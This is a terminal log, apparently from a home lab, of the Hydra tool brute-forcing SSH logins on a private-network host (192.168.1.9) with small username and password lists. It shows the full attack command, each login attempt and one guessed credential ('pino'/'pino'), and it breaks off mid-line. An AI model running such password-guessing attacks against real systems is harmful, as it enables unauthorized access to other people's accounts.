```
┌──(gigi㉿gigi)-[~/Desktop]
└─$ hydra -L userid.txt -P passid.txt ssh://192.168.1.9 -vV -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 08:
07:17
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:5/p:6), ~
8 tries per task
[DATA] attacking ssh://192.168.1.9:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://gigino @192.
168.1.9:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.9:
22
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "12345 " - 1 of 30 [
child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "cacca" - 2 of 30 [c
hild 1] (0/0)
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "pupu" - 3 of 30 [ch
ild 2] (0/0)
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "pino" - 4 of 30 [ch
ild 3] (0/0)
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "gesu" - 5 of 30 [ch
ild 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "gigino    " - pass "malgioglio" - 6 of
30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "12345        " - 7 of 30 [
child 3] (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "cacca" - 8 of 30 [child 1
] (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "pupu" - 9 of 30 [child 0]
 (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "pino" - 10 of 30 [child 2
] (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "gesu" - 11 of 30 [child 3
] (0/0)
[ATTEMPT] target 192.168.1.9 - login "luca" - pass "malgioglio" - 12 of 30 [c
hild 1] (0/0)
[ATTEMPT] target 192.168.1.9 - login "pino" - pass "12345        " - 13 of 30 [child 0]
[ATTEMPT] target 192.168.1.9 - login "pino" - pass "cacca" - 14 of 30 [child 2] (0/0)
[ATTEMPT] target 192.168.1.9 - login "pino" - pass "pupu" - 15 of 30 [child 3] (0/0)
[ATTEMPT] target 192.168.1.9 - login "pino" - pass "pino" - 16 of 30 [child 1] (0/0)
[22][ssh] host: 192.168.1.9   login: pino   password: pino
[ATTEMPT] target 192.168.1.9 - login "albertino" - pass "12345 " - 19 of 30 [child 1]
[ATTEMPT] target 192.168.1.9 - login "albertino" - pass "cacca" - 20 of 30 [child 0] (0
```